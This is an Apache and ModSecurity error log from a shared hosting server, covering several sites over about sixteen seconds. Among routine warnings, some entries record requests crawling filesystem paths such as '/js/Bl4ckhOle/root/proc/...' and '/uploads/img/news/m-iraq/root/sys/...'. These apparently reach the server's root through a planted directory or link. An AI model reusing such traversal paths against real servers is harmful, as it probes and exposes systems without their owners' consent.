[Fri Jul 17 09:42:20.090929 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:20.236283 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:20.259567 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:20.472644 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:20.475066 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:34576] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:20.475309 2026] [security2:error] [pid 2050576:tid 2050576] [client 57.141.18.55:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory109/node0/memory61/node0/memory102/node0/memory65/phys_device"] [unique_id "almrpJuhBssQvDAz4zCp5gAAABI"]
[Fri Jul 17 09:42:20.475325 2026] [security2:error] [pid 2050576:tid 2050576] [client 57.141.18.55:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory109/node0/memory61/node0/memory102/node0/memory65/phys_device"] [unique_id "almrpJuhBssQvDAz4zCp5gAAABI"]
[Fri Jul 17 09:42:20.716866 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:20.905652 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:21.020325 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/gpg-wks-server"] [unique_id "almrpY-0g_VSPeIeFN3JIQAAAAs"]
[Fri Jul 17 09:42:21.020868 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/gpg-wks-server"] [unique_id "almrpY-0g_VSPeIeFN3JIQAAAAs"]
[Fri Jul 17 09:42:21.021461 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/gpg-wks-server"] [unique_id "almrpY-0g_VSPeIeFN3JIQAAAAs"]
[Fri Jul 17 09:42:21.114442 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty32/subsystem/ttyS3/irq
[Fri Jul 17 09:42:21.301337 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:21.426639 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almrpE_0b3nWp8txtSDFrwAAAA0"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1221&page_105=1954
[Fri Jul 17 09:42:21.426681 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almrpE_0b3nWp8txtSDFrwAAAA0"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1221&page_105=1954
[Fri Jul 17 09:42:21.433782 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:21.516795 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:21.914954 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:22.015499 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:22.136431 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:23.030723 2026] [core:error] [pid 2050572:tid 2050572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:10/subsystem/drivers/ac/unbind
[Fri Jul 17 09:42:23.395687 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:47722] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:23.412045 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:01/subsystem/drivers/thermal/unbind
[Fri Jul 17 09:42:23.540808 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:23.540914 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:23.601211 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:23.688870 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:24.023091 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:24.057528 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:47758] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:24.233476 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:24.260286 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:47768] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:24.335281 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:24.611177 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:25.127827 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:25.141997 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:25.167376 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:25.369363 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/exar_serial/unbind
[Fri Jul 17 09:42:25.464400 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:25.651444 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:25.742873 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:26.319438 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:26.463842 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:26.717208 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:26.742789 2026] [ssl:error] [pid 2050580:tid 2050580] (70014)End of file found: [client 66.85.158.91:47870] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:27.266094 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:27.267178 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:27.269695 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:27.574080 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:47920] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:27.733168 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/slots/30/module/uevent
[Fri Jul 17 09:42:27.733575 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:27.875443 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:27.916978 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrq0_0b3nWp8txtSDFtQAAAA0"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:42:27.917019 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrq0_0b3nWp8txtSDFtQAAAA0"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:42:28.151634 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:28.240926 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:28.269916 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:28.332729 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:28.423920 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:28.528479 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:28.606833 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:28.677272 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrrJBVIrrUwtEhdafZrwAAAAU"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:42:28.677310 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrrJBVIrrUwtEhdafZrwAAAAU"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:42:28.949288 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:29.009510 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:29.235761 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:29.340952 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:29.360626 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:29.376201 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:29.442081 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:29.734976 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:29.797116 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:29.797246 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:29.855184 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:30.133785 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:30.213117 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:30.384274 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:30.529875 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:30.560307 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:30.651258 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:31.077555 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:31.097822 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:48046] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:31.275803 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:31.282632 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:31.302249 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:31.326882 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:31.394952 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:31.503697 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:31.674308 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:31.676753 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:31.847442 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:31.859136 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:01/PNP0501:00/subsystem/uevent
[Fri Jul 17 09:42:31.951713 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:32.335162 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:32.427921 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:32.622458 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:51062] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:32.730216 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:32.796829 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:32.821895 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:51064] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:32.978779 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:33.052563 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:33.072428 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:33.072501 2026] [core:crit] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/engintron_static/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/engintron_static/' is executable
[Fri Jul 17 09:42:33.072528 2026] [core:crit] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/uwsgi_temp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/uwsgi_temp/' is executable
[Fri Jul 17 09:42:33.072545 2026] [core:crit] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/client_temp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/client_temp/' is executable
[Fri Jul 17 09:42:33.072561 2026] [core:crit] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/scgi_temp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/scgi_temp/' is executable
[Fri Jul 17 09:42:33.072585 2026] [core:crit] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/engintron_dynamic/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/engintron_dynamic/' is executable
[Fri Jul 17 09:42:33.072614 2026] [core:crit] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/engintron_temp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/engintron_temp/' is executable
[Fri Jul 17 09:42:33.072631 2026] [core:crit] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/fastcgi_temp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/fastcgi_temp/' is executable
[Fri Jul 17 09:42:33.270289 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:33.365270 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/subsystem/drivers/pvpanic/uevent
[Fri Jul 17 09:42:33.456092 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:33.548860 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:33.734277 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:33.953186 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:34.291742 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:34.389568 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:34.475438 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:34.665230 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:34.771028 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:34.944521 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:35.258489 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:35.275067 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:35.347759 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:35.366734 2026] [security2:error] [pid 2034024:tid 2034024] [client 49.149.120.174:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-global": Permission denied [hostname "monarchdss.com"] [uri "/xmlrpc.php"] [unique_id "almrs4-0g_VSPeIeFN3JKwAAAAs"]
[Fri Jul 17 09:42:35.366779 2026] [security2:error] [pid 2034024:tid 2034024] [client 49.149.120.174:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-ip": Permission denied [hostname "monarchdss.com"] [uri "/xmlrpc.php"] [unique_id "almrs4-0g_VSPeIeFN3JKwAAAAs"]
[Fri Jul 17 09:42:35.415399 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:35.505744 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:35.780876 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:36.066094 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:36.136512 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:51226] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:36.156937 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:36.247937 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:36.334530 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:36.342392 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:36.624692 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:36.714522 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:36.814192 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/subsystem/wakeup11/device/device:11/uevent"] [unique_id "almrtPwooI4qY7Jg93pePgAAABM"]
[Fri Jul 17 09:42:36.814223 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/subsystem/wakeup11/device/device:11/uevent"] [unique_id "almrtPwooI4qY7Jg93pePgAAABM"]
[Fri Jul 17 09:42:36.841238 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrtI-0g_VSPeIeFN3JLQAAAAs"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
